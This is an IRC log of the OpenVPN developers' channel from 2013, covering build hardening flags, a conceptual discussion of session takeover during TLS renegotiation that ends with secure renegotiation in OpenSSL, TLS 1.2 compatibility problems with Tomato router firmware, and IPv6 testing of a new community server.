https://news.ycombinator.com/item?id=6262347 00:20 <@vpnHelper> Title: How far the once-mighty SourceForge has fallen | Hacker News (at news.ycombinator.com) 00:22 <@d12fk> i wonder what the filezilla guys had in their minds when they decided that spreading adware through their installer wold be a good idea 00:23 <@d12fk> and sf.net when they decided that such practise is adding value to theit brand 00:24 <@d12fk> but it seems to be filezilla (and the other projects) who need to take the blame here really 00:29 <@d12fk> https://sourceforge.net/blog/today-we-offer-devshare-beta-a-sustainable-way-to-fund-open-source-software/ 00:29 <@vpnHelper> Title: Today We Offer DevShare (Beta), A Sustainable Way To Fund Open Source Software | SourceForge Community Blog (at sourceforge.net) 00:29 <@d12fk> took a while to stir the shit up =) 02:03 <@cron2> pekster: AS does not use plugins (as far as I know), but does everything over the management interface 03:36 <@plaisthos> to be fair management interface is like AS own plugin 03:36 <@plaisthos> with many functions unknown to almost anyone 03:56 <@cron2> true 03:57 <@cron2> but in the given context, we can safely assume that "AS won't play in the address space of openvpn" :-) 03:57 <@plaisthos> :) 04:12 <@plaisthos> I foudn something to aslr and dep and aslr... 04:12 <@plaisthos> -nxcompat -dynamicbase seems to be the magic mingw switches 04:12 <@plaisthos> http://www.cypherpunks.ca/pipermail/otr-dev/2012-August/001373.html 04:12 <@vpnHelper> Title: [OTR-dev] mingw build instructions/improvements (at www.cypherpunks.ca) 04:22 <@cron2> mattock: are you listening? :-) 04:22 <@mattock> howdy 04:23 <@mattock> what did I miss? 04:23 <@cron2> fun started by #325 04:24 <@mattock> hmm. let's see 04:25 <@mattock> interesting, I need see what those abbreviations mean 04:25 <@cron2> backlog :) 04:25 <@mattock> ah 04:26 <@mattock> I will poke james with #325 04:27 <@mattock> ah, mingw might be able to do it 04:36 <@d12fk> aslr and dep are never a bad idea 04:37 <@d12fk> good to know mingw supports them =) 04:39 <@d12fk> i wonder if activating them might uncover some bugs as well 05:05 <@plaisthos> fpie should be harmless 05:08 <@plaisthos> the android tool chain seem to build with -fpic and -fstack-protector 10:24 -!- raidz_away is now known as raidz 15:18 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:18 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 15:19 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Quit: leaving] 15:43 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 15:44 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:32 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 246 seconds] 17:33 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 17:33 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 20:08 -!- raidz is now known as raidz_away --- Day changed Thu Aug 29 2013 04:22 -!- lamokie [~steve@li428-245.members.linode.com] has joined #openvpn-devel 04:26 < lamokie> What prevents a MITM attacker from starting a renegotiation and "taking over" an existing session? Let's assume there is no client certificate authentication. And let's assume the attacker knows the client's username and password. 04:27 < lamokie> Is there any crytographic "tie" between sessions? Does a new session need to be authenticated with a key from the old session? 06:07 < syzzer> lamokie: I don't think so. But there is is you use tls-auth. That has its own replay protection, so you'll need to an correct and authenticated replay counter to take over an existing session. 06:09 < syzzer> the sessions itself are 'just' tls 06:12 < lamokie> syzzer: so assuming you don't use tls-auth, and only use username/password for auth (no cert), as most common vpn services do, then knowing someones user/pass would allow you to "steal" their session and possibly get some packets that would have been destined for them? 06:12 < lamokie> .. just trying to think through this attack and its implications 06:14 < syzzer> I would have to take a closer look at the code to be sure about that, I'm not too familiar with the specifics of user/pass only auth. 06:15 < lamokie> syzzer: from what I understand the user/pass is sent as a control packet after the tls session is completed 06:15 < lamokie> and before keys are exchagned (im assuming) 06:16 < lamokie> just seems kind of weird there is nothing to tie renegotiated sessions together cryptographically 06:17 < syzzer> it depends on whether there is a new TLS handshake, or a resumed TLS handshake 06:18 < syzzer> the 'resumed TLS handshake' protects against this attack. So, if you could somehow convince openvpn to set up a completely new tls session, this would work. 06:18 < lamokie> ok so the question now is if openvpn always uses a resumed tls handshake or not... 06:20 < lamokie> ill take a look into that 06:20 < syzzer> yup, or probabaly 'when'. If you block a connection long enough most clients will give up retrying. 06:21 < lamokie> yea, if any given tunnel can only be "moved" to another session via a resumed tls handshake, then i think there is no attack 06:33 <@plaisthos> lamokie: yeah. But basically it boils donw if a new client can get the same IP as an old client 06:37 < lamokie> plaisthos: right i'm assuming an attacker with the capability to MITM 06:37 < lamokie> and I just wiresharked a renegotiation session and strangely seems the session ID is always set to 0 06:39 < lamokie> so I'm assuming it doesn't use 'resumed TLS handshakes' 06:40 < syzzer> that's weird, as tls_session_init() does: 06:41 < syzzer> /* Randomize session # if it is 0 */ while (!session_id_defined(&session->session_id)) session_id_random (&session->session_id); 06:43 <@plaisthos> lamokie: restarting openvpn invalidates the session. Do you have a reconnect? 06:44 < lamokie> maybe wireshark isnt showing things correctly 06:47 < lamokie> it always says 'Session ID length: 0' maybe its just not parsing it right 06:50 < lamokie> syzzer: ahhhh ic, there is a session id in the openvpn protocol, but its not a TLS session id 06:51 < syzzer> ah, that explains indeed 06:53 < lamokie> so back to square 1, attack seems possible 07:09 * plaisthos is still not sure what the attack is 07:11 < lamokie> plaisthos: assume attacker can MITM connection, and knows user/pass, and assume we arent using client cert. authentication 07:12 < lamokie> this attacker could initiate a soft reset and "steal" the tunnel 07:12 < lamokie> meaning he could take over any existing tcp/udp connections going on through the tunnel and continue them, either just receiving data, or sendin as well 07:13 < lamokie> if openvpn somehow cryptographically tied renegotiated TLS sessions together then this attack wouldnt be possible 07:14 * cron2_ wonders if that should be the primary concern if someone loses username+password and has no client-cert... 07:15 < lamokie> cron2_: well i don't see any reason why knowing someones user/pass _or_ client cert should allow "stealing" their tunnel from them 07:31 <@plaisthos> lamokie: yeah but usually you want the "session stealing" 07:31 < lamokie> lamokie: ah really? why is that 07:32 <@plaisthos> user looses connection or quits his client by accident, restarts client with the creditionals and the same IP again 07:32 <@plaisthos> openvpn even has ifconfig-pool-persist 07:33 < lamokie> plaisthos: i see, yea i guess that makes sense 07:33 < lamokie> for certain situations 07:33 <@plaisthos> to save ip addresses to client names after restarts 07:34 < lamokie> for a service where youre just using openvpn as a secure proxy it doesn't make as much sense 07:35 <@plaisthos> lamokie: to protect against your scenario the VPN server would have to a setting like "Do not reassign IPs to a new session for xx time" 07:36 < lamokie> plaisthos: yea you're right, because anyone that gets the same IP can "continue" the existing tcp/udp connections that were established by the last person on ip 07:36 < lamokie> it* 07:36 < lamokie> regardless of if they "stole" the tunnel or not 07:40 <@plaisthos> network people's mindset is more like "random IP for clients" vs "static IPs" for clients 08:14 -!- mattock is now known as mattock_afk 08:33 <@ecrist> most clients don't need a static IP 10:08 <@pekster> lamokie: Keep in mind this requires an actual MITM situation on the attacker's part where they're able to completely masquerade as the client's IP (not just "hijack" a renegotiation from another IP as that requires --float.) IIRC, the renegotiation is handled by a packet inside the control channel to perform a re-negotiation, and there's a rollover period where the old data enc keys are still valid 10:09 <@pekster> I'm not sure about the internals of the renegotiation process, but honestly, if you're using reduced security and your un/pw is compromised, you can't ever be sure someone else isn't using (or otherwise "starting to use" any any point the code allows) your access 10:11 < lamokie> pekster: right, i was thinking of a very specific scenario where someone is using a vpn proxy service that assigns you a random IP, in this scenario, if openvpn cryptographically "tied" renegs together, it would protect from this attack 10:11 < lamokie> that said I do feel its not that big a deal 10:12 <@pekster> OpenVPN has a notion of relating incoming packets to an existing TLS session, but I'm not 100% sure what all that involves 10:12 <@pekster> Anything isn't matched to an existing session is assumed to be a new connection and is either assigned a new OpenVPN instance ID, or dropped 10:13 < lamokie> right, but someone who could MITM could see the openvpn session id and use it to "steal" the session 10:14 <@pekster> You can't "see" that ID as the actual "match" it's in a structure in memory on the server 10:14 < lamokie> and that is where i see no downside to adding something like: to use the same session id you needed to present some crypto auth that you are the same guy taht had that session id before 10:14 < lamokie> the session id is on the control packets in plaintext i believe 10:15 <@pekster> The problem is you're asking for a change in how TLS works, and since openvpn offloads that to openssl, there's no way to "ask for extra crypto stuff to be performed" unless there's a specific API openssl supports to do this 10:16 <@pekster> And it _does_ support this: it's called client-authenticated X509 (ie: client certs) 10:16 <@pekster> You're asking for something that already exists 10:16 < lamokie> right, but client cert and user/pass are essentially the same thing 10:16 < lamokie> im assuming the attacker has one or the other 10:17 < lamokie> so in terms of implementing it, maybe it could be done using tls session ids with resumed tls handshake 10:18 < lamokie> or it could be done after the tls is finished but before that session is set to active, by just sending the old key or osmething 10:18 < lamokie> ... over the tls channel 10:18 < lamokie> either way i probly agree its not really worth adding 10:21 -!- raidz_away is now known as raidz 10:25 < lamokie> just to beat a dead horse, my last pt would be: if someone has your user/pass or client cert, they should be able to impersonate you, but not "steal" your current vpn session 10:26 <@pekster> They already can "steal" it if --duplicate-cn isn't enabled since connecting will kick the old client off 10:26 < lamokie> pekster: yes i'm also assuming that it is :) 10:27 < lamokie> im assuming a vpn proxy service environment 10:27 <@pekster> That doesn't mean anything to me; why would a "vpn proxy service enviornment" need to inherently allow duplicate-cn? 10:27 < lamokie> lots of assumptions :P 10:27 < lamokie> well, just in practice, most of them do 10:27 <@pekster> And yes, if you assume the setup is broken, it might be broken. I think it's mostly a silly argument 10:27 < lamokie> to let people get on multiple devices, or computers with the same login 10:27 <@pekster> Then set one up yourself properly, or pay money to people who aren't idiots 10:28 < lamokie> its not broken, its a very realistic scenario 10:28 <@pekster> It's not openvpn's job to set services up in a secure way for other people 10:28 <@pekster> You're missing the point: OpenVPN allows you to do things that are perhaps stupid, like using it without any encryption at all. This might be useful for someone, so saying it's "insecure", while true, isn't useful. I view this "problem" in the same light 10:29 < lamokie> and i agree itd be dumb to break other things to accomodate this one scenario, but im pretty sure it can be done w/o breaking anything else 10:29 < lamokie> yea, well i dont view it in the same light, but fair enough 10:29 <@ecrist> patches are welcome 10:29 <@pekster> fwiw, OpenVPN _is_ keeping the session ID between sessions 10:29 <@ecrist> but we won't promise to commit them 10:29 <@pekster> ssl.c:1677 10:30 < lamokie> pekster: it keeps the openvpn session id, but not the tls session id 10:31 < lamokie> at least as far as i could tell, i checked with wireshark earlier 10:34 <@pekster> Seems RFC5746 is relevant here 10:35 <@pekster> I wonder if 1) that's in use today, and 2) if not, do PolarSSL and OpenSSL both support it 10:36 < lamokie> good question 10:37 <@pekster> lamokie: " OpenSSL 0.9.8m and later always attempts to use secure renegotiation as described in RFC5746. This counters the prefix attack described in CVE-2009-3555 and elsewhere." (from SSL_CTX_set_options(3) ) 10:37 < lamokie> woah, so its possible that's already happening? 10:38 <@pekster> Yup. You got so stuck on the notion of a "session ID" and ignored the fact that TLS already takes care to follow secure practices (one of many reasons OpenVPN doesn't "roll its own" crypto but relies on openssl for all the heavy lifting) 10:39 <@pekster> Every now and then we really do missing something relevant (some optional feature of openssl) that could be improved on, but it's generally required to have a good understanding of the API being used. Sadly, OpenSSL isn't the easiest API to work with, but it's there, free, and functional 10:40 < lamokie> yea I dont know openssl well enough to tell whether thats happening or not 10:40 <@pekster> If you'd read the manpage I cited you, you'd know that only SSLv2 won't be using it 10:40 <@pekster> (and it's broken) 10:40 <@pekster> Read the RFC if you want implementation specifics 10:44 <@pekster> heh, and the only way to turn it off is the very awful sounding option: SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION (OpenSSL does tend to make it really obvious when you're doing very stupid things ;) 10:46 <@ecrist> heh 11:08 -!- mattock_afk is now known as mattock 14:27 -!- mattock is now known as mattock_afk 17:10 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 17:12 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:12 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:12 -!- dazo_afk is now known as dazo 17:21 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 17:23 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:23 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:23 -!- dazo_afk is now known as dazo 20:03 -!- raidz is now known as raidz_away 23:14 <@vpnHelper> RSS Update - tickets: #326: security/pam_appl.h header in different location on some systems <https://community.openvpn.net/openvpn/ticket/326> --- Day changed Fri Aug 30 2013 03:13 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 03:17 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:17 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:37 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 03:38 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:39 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:39 -!- dazo_afk is now known as dazo 05:36 <@plaisthos> mattock_afk: I would be nice if I am automatically subscribed to a ticket If I comment on it 05:36 <@plaisthos> or if vpnHelper could also notify us of comments/changes to tickets 07:59 <@pekster> I noticed that too; you can "assign" the ticket to yourself, then one of the queries (#7 IIRC) lets you see those owned, unclosed tickets 08:00 <@pekster> Still not as good as an active notify, I agree; I'm not sure there's a way to to get that without adding yourself to the CC list 08:01 <@pekster> mattock_afk: FYI, I have a v2 of that dep-cache patch coming that integrates better with build-complete under windows-nsis; I don't tend to use it much, but I'd just as soon I do this feature "right" and support that too 08:02 <@pekster> Same logical operation from generic/build, but it'll support CLI options, unique cache names (think 32 vs 64-bit, or just different version collections devs want to try) plus it'll play nice with build-complete 10:22 -!- raidz_away is now known as raidz 15:59 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 246 seconds] 16:08 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 16:08 -!- mode/#openvpn-devel [+o cron2] by ChanServ 19:13 -!- raidz is now known as raidz_away --- Day changed Sat Aug 31 2013 01:56 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 01:57 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 05:53 -!- lamokie [~steve@li428-245.members.linode.com] has quit [Quit: Lost terminal] 05:54 -!- lamokie [~steve@li428-245.members.linode.com] has joined #openvpn-devel 07:17 <@vpnHelper> RSS Update - testtrac: Fix configure interaction with static OpenSSL libraries <https://github.com/OpenVPN/openvpn/commit/30e358e5de352c8de04a955dc89f33e1710e9b97> || Allow use of NetBeans without saving nbproject/ directory. <https://github.com/OpenVPN/openvpn/commit/550fe1a3a12ad9affbdff6ab1fc3e846f5e8d0b5> || Correct error text when no Windows TAP device is present <https://github.com/OpenVPN/openvpn/commit/2d34628af995676c8ecddb 10:26 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 10:29 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 11:46 <@cron2> ecrist/krzee: vpnhelper is doing it again! 12:12 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 12:13 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 12:13 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 12:13 -!- dazo_afk is now known as dazo 13:51 <@plaisthos> cron2: vpnhelper broke the silence :) 15:34 <@cron2> plaisthos: but I'd prefer to enjoy the silence! 17:34 -!- novaflash is now known as novaflash_away 17:42 * ecrist stops caring --- Day changed Sun Sep 01 2013 04:33 -!- novaflash_away is now known as novaflash --- Day changed Mon Sep 02 2013 02:24 -!- mattock_afk is now known as mattock 02:26 <@mattock> pekster, plaisthos: re: trac ticket notifications... I hope to get Trac migrated an possibly upgraded in next few weeks... I'll check the notification thing while I'm at it 03:12 <@plaisthos> mattock: thanks 04:41 <@mattock> updated https://community.openvpn.net/openvpn/wiki/MunichHackathon2013 on my part 04:41 <@vpnHelper> Title: MunichHackathon2013 – OpenVPN Community (at community.openvpn.net) 06:51 < lamokie> anyone know if there would be any unexpected issues with modifying OpenVPN (w OpenSSL) to use TLS 1.2? (e.g. changing the 2 lines of code that select the TLS version for client/server) 07:11 <@cron2> lamokie: take a look at git master :-) - that code is already in 07:12 <@cron2> mattock: \o\ 07:12 <@cron2> \o/ even, damn mac keyboard :-) 07:13 < lamokie> cron2: great thank you, i looked at the latest tag, but not master, stupid me 07:14 <@cron2> it is in the 2.3 branch and is likely to end up as 2.3.3 some time in October 07:14 <@cron2> ... and plaisthos' Android client already uses that codebase, so it's out and tested 07:19 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 260 seconds] 07:24 < lamokie> cron2: so the core of it is: use SSLv23_client_method() so that support isnt restricted to only TLS1.0, and then give the option for each peer to set a minimum required TLS1.x level? 07:25 <@cron2> yep. lengthy discussion on openvpn-devel and here in the channel, also archived as meeting minutes on the openvpn-devel list 07:25 < lamokie> cool will look, thx 07:25 * cron2 is not the crypto man, so I'm not really qualified to answer more detailed questions :-) 07:34 <@plaisthos> lamokie: beware it breanks when connecting against Tomato WRT firmware 07:35 <@plaisthos> (for whatever reason) 07:36 < lamokie> yea I just read the thread, because of super old OpenSSL libraries...1;5C 08:55 <@plaisthos> (and current play store version has a problem with 4.1 and servers with TLS 1.0+) 09:23 <@pekster> lamokie: Right, don't "just change to the 1_2" method, or that will prevent your client from talking to _any_ pre-1.2 client 09:48 <@plaisthos> pekster: err, why not use tls-min-version? 09:49 <@plaisthos> pekster: sorry misread that 09:49 <@pekster> Right, that's the correct way with the git code 09:49 <@plaisthos> ignore that ;) 09:49 <@pekster> Yea, just commenting re: original idea of modifying the method used 13:58 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:58 -!- mode/#openvpn-devel [+o andj] by ChanServ 21:30 <@vpnHelper> RSS Update - tickets: #327: [PATCH] multihome mode doesn't work on FreeBSD <https://community.openvpn.net/openvpn/ticket/327> --- Day changed Tue Sep 03 2013 10:28 -!- raidz_away is now known as raidz 13:51 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 17:12 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Remote host closed the connection] 17:12 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 20:06 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Read error: Connection reset by peer] 20:18 -!- raidz is now known as raidz_away 21:25 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 22:59 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 22:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 22:59 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 22:59 -!- mode/#openvpn-devel [+o plai] by ChanServ 23:00 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:00 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 23:00 -!- dazo_afk is now known as dazo 23:37 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 23:37 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Wed Sep 04 2013 00:44 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 04:19 <@mattock> new community.openvpn.net is now available for testing: http://54.241.178.103/openvpn/wiki 04:19 <@vpnHelper> Title: OpenVPN Community (at 54.241.178.103) 04:22 <@mattock> you can also use https, but it will complain about wrong domain name as the DNS switch has not yet taken place 04:35 <@mattock> one can even connect using the IPv6 address: 2001:470:66:5e1::2 04:35 <@mattock> seemed to work when testing with curl from a VM with a public IPv6 address (curl -g "http://[2001:470:66:5e1::2]/openvpn/wiki") 04:38 < waldner> works for me over ipv6 04:41 <@mattock> waldner: ok, great! 06:06 <@plai> mattock: ipv6 does not work for me 06:06 <@plai> 15 10gigabitethernet1-1.core1.fmt1.he.net (2001:470:0:2f::1) 165.854 ms 204.806 ms 171.452 ms 06:06 <@plai> 16 tserv29.fmt1.ipv6.he.net (2001:470:0:206::2) 163.447 ms 163.663 ms 163.22 ms 06:06 <@plai> ast two hops before * * * 06:08 <@cron2> stars for me, too, and no response to "telnet 2001:470:66:5e1::2 80" either 06:27 <@mattock> plai, cron2: hmm, interesting, I'll see what I can do 06:30 <@plai> mattock: you can try the reverse using kamera.blinkt.de 06:31 < waldner> I get a clean mtr path, I go through telecity and then a few HE hops 06:47 < waldner> in case that helps, for me it works from uk, spain and germany 06:47 < waldner> can post traceroutes if needed 06:53 <@cron2> mattock: can you run a traceroute from there to 2001:608::2? 06:53 <@mattock> cron2: yep 06:54 <@mattock> cron2: there being the new community server? 06:56 <@mattock> cron2: http://pastebin.com/evNVwMZ0 06:57 <@cron2> huh, this is weird 06:57 <@cron2> over-eager firewalling? 07:09 <@cron2> ah... now it works for me as well... 07:11 <@cron2> oh, btw. - I'll be "mostly afk" for the next two weeks. Direly-needed vacation 07:13 <@mattock> I will have a direly needed vacation in a few weeks 07:15 <@mattock> cron2: so was the IPv6 issue at your end, or where? 07:17 <@cron2> mattock: it was most certainly not here 07:18 <@mattock> so nothing changed, and now it works? 07:18 <@cron2> but if you have too much ipv6 firewalling on your end, that could explain why it started working after you did outbound tests 07:18 <@mattock> ah 07:18 <@cron2> or there was a routing hickup at he.net :-) 07:19 <@mattock> so, ipv6-icmp is allowed from any host, and tcp 80/443 from any host 07:19 <@mattock> on new community 07:20 <@mattock> and there was no existing/related connection from the IPv6-capable host I used for testing 07:20 <@mattock> so probably a routing hickup 07:20 <@cron2> mattock: how exactly is the ipv6-icmp rule written? "from any to any" or "to the 2001:470:.. address"? 07:20 <@ecrist> mattock: was there still a plan to move the forums to AWS? 07:21 <@mattock> ecrist: yes, I'm working it right now 07:21 <@cron2> icmp needs to be permitted to/from fe80 as well, so in most circumstances, "permit ipv6/icmp from any to any" is reasonable 07:21 <@mattock> cron2: from any to any 07:21 <@ecrist> there aren't really any good reasons to restrict ICMP 07:21 <@cron2> *then* it was a routing hickup somewhere :) 09:59 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 10:02 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:02 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 10:03 -!- dazo_afk is now known as dazo 10:22 -!- raidz_away is now known as raidz 11:09 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Ping timeout: 264 seconds] 11:13 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 13:34 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Read error: Connection reset by peer] 13:34 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 13:56 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Ping timeout: 268 seconds] 14:06 -!- unixninja92 [~unixninja@c-46-162-93-88.cust.bredband2.com] has joined #openvpn-devel 14:17 -!- unixninja92_ [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 14:18 -!- unixninja92 [~unixninja@c-46-162-93-88.cust.bredband2.com] has quit [Ping timeout: 256 seconds] 14:18 -!- unixninja92_ is now known as unixninja92 15:45 -!- raidz is now known as raidz_away 15:45 -!- raidz_away is now known as raidz 18:26 -!- raidz is now known as raidz_away 18:26 -!- raidz_away is now known as raidz 18:52 -!- raidz is now known as raidz_away --- Day changed Thu Sep 05 2013 01:06 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:06 -!- mode/#openvpn-devel [+v krzie] by ChanServ 01:07 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 01:07 -!- krzie is now known as krzee 01:29 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 01:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:40 -!- Netsplit *.net <-> *.split quits: ender| 03:46 -!- Netsplit over, joins: ender| 05:33 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Quit: unixninja92] 07:32 -!- unixninja92 [~unixninja@pub110-204.pub.ltu.se] has joined #openvpn-devel 07:37 -!- unixninja92 [~unixninja@pub110-204.pub.ltu.se] has quit [Ping timeout: 268 seconds] 08:54 -!- unixninja92 [~unixninja@pub110-204.pub.ltu.se] has joined #openvpn-devel 09:29 -!- unixninja92 [~unixninja@pub110-204.pub.ltu.se] has quit [Quit: unixninja92] 09:40 <@plai> okay bad news: 09:40 <@plai> One Tomato Version managed to screw SSL handshake up with OpenSSL 1.0.1c 09:47 <@plai> but no-xxx list is very long ... 09:48 <@plai> https://raw.github.com/Victek/TomatoRAF/master/release/src/router/openssl/Makefile 09:50 < lamokie> plai: what openssl version is on the tomato? 09:51 < lamokie> and if 1.0.1c, what openssl version on the server/other-end? 09:59 <@plai> plai: whatever android ships, but Android 4.0 already has 1.0.0e+ 10:03 < lamokie> lamokie: and tomato has openssl 1.0.1c ?, and what version of openvpn on the tomato 10:04 <@plai> openvpn 2.2.something 10:04 <@plai> but the error is on the android client side: 10:04 <@plai> P:TLS_ERROR: BIO read tls_read_plaintext error: error:14092105:SSL 10:04 <@plai> routines:SSL3_GET_SERVER_HELLO:wrong cipher returned 10:04 <@plai> P:TLS Error: TLS object -> incoming plaintext read error 10:06 <@plai> I suspect one of the no-xxx disables an algorithm that is needed for tls 1.2 10:15 <@plai> the openssl version on that box seem to be *very* limited 10:15 <@plai> http://pastebin.com/Fb2p8d98 10:16 < lamokie> is openvpn modded at all ? 10:17 < lamokie> because 2.2 should only be using tls 1.0 10:17 <@plai> lamokie: yeah. Should. 10:18 <@plai> it probably does 10:18 <@plai> but something breaks things if the clients begins speaking TLS 1.0+ 10:20 -!- raidz_away is now known as raidz 10:21 < lamokie> plai: hmm they were saying yesterday that some tomatos will fail when openvpn tries to auto negotiate TLS rather than being pegged to 1.0, and that the android code currnetly does that , but I was under the assumption that was only when the tomato was on a really old version of openssl, like 0.9.something 10:21 < lamokie> are you sure tomato is using openssl 1.0.1c and that openvpn is loading that version of the shared lib when it starts? 10:23 <@plai> lamokie: not really 10:23 <@plai> lamokie: that is some strange router firmware (like OpenWrt) that runs OpenVPN 10:23 < lamokie> plai: you should probably verify that, type ldd path/to/openvpn/binary 10:24 < lamokie> my guess is its using some really old openssl 10:25 <@plai> lamokie: I can aks the user to do this 10:25 <@plai> but I have no access to that router 10:26 < lamokie> plai, ah, well yea you're fubar'd :) 10:27 <@plai> lamokie: my 100k people openvpn -master alpha test just tends to uncover these issus 10:32 <@pekster> I have an openwrt dev/test unit I'm hacking at; I can test with whatever 10.x ships (I'm on the "prior stable" tree on this at the moment for assorted dev needs) 10:32 < lamokie> plai: wow 100k, from where? 10:32 <@pekster> I think they actually peg openvpn at 2.0.9... 10:32 <@plai> lamokie: https://play.google.com/store/apps/details?id=de.blinkt.openvpn 10:32 <@pekster> (I just use p2p mode anyway on this, so it't not a problem) 10:32 < lamokie> ah 10:33 <@pekster> plai: Was it the openssl version that was the suspected issue, or openvpn patches by downstream? 10:34 <@plai> pekster: it is still unknown what really triggers the bug 10:34 < lamokie> plai: So is the issue only with openvpn on tomato as the server, with the new client code connecting? Is there any issue with the tomato as the client connecting to a server with the new code (SSLv23)? 10:35 <@plai> lamokie: I only know of tomato as server and the new code as client 10:35 <@pekster> plai: Hmm, okay. fwiw I'll try a quick test with my own TLS-neg-enabled build on whatever openwrt 10.x ships with, though I suspect it will work just fine 10:36 <@pekster> I do have a Windows-build of 2.3.2 with TLS-neg support patched in at http://sourceforge.net/projects/openvpnpreviews/ if that's ever useful as a test-case 10:36 <@vpnHelper> Title: OpenVPN Previews | Free software downloads at SourceForge.net (at sourceforge.net) 10:37 <@plai> pekster: openwrt is probably different 10:37 <@plai> this does not seem to be openwrt based 10:37 <@plai> on a quick look 10:38 <@plai> so openwrt will not really help 10:38 <@pekster> Yea, I figured. I just happen to be doing a project on my unit and it's trivial to tets it as a server 10:38 <@plai> hm 10:38 <@plai> doh 10:38 <@plai> the github and real source seem to differ too 10:39 <@plai> in github there is some openvpn 2.3+ 10:39 <@plai> (new build system) 10:39 <@plai> and the box in question runs 2.2.2 10:40 < lamokie> plai: have you been able to get a tcpdump of any problem session ? 10:40 <@plai> lamokie: only contact via email to the user so far 10:40 < lamokie> gotcha 10:40 <@pekster> It sounds a lot like the error you get when forcing TLS 1.2 to a 1.0-only client 10:40 <@plai> yeah 10:41 <@plai> github source and version on the router don't seem to match 10:41 <@pekster> Someone tagged the wrong one, or is that just more recent git-master stuff? 10:41 <@pekster> Oh, and if someone added a compiled package, maybe they downloaded an "older" package build and the embedded package manager happily installed it? 10:42 <@pekster> (isn't embedded support without all the details fun? ;) 10:42 <@plai> pekster: na, like in the whole git history (which is only 1-2 month) there is no openvpn 2.2.2 version 10:53 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 10:55 <@pekster> Blah, no point in trying to debug an issue that you can't even get a straight answer to source version used 10:56 <@pekster> At this point, it's sounding more and more like an issue downstream needs to fix themselves 10:58 <@pekster> plai: Do you know what version of the TomatoRAF the issue-user has? 10:59 <@pekster> Apparently the test unit I have (WL-500gP) is supported, so after my current dev needs are complete (maybe by the weekend or so) I could try and poke a bit at it 11:00 <@pekster> or I can just use the latest since if it's fixed there, the solution is "upgrade it" :) 11:01 <@plai> pekster: I will ask him 11:02 <@pekster> Sure. Assuming the firmware 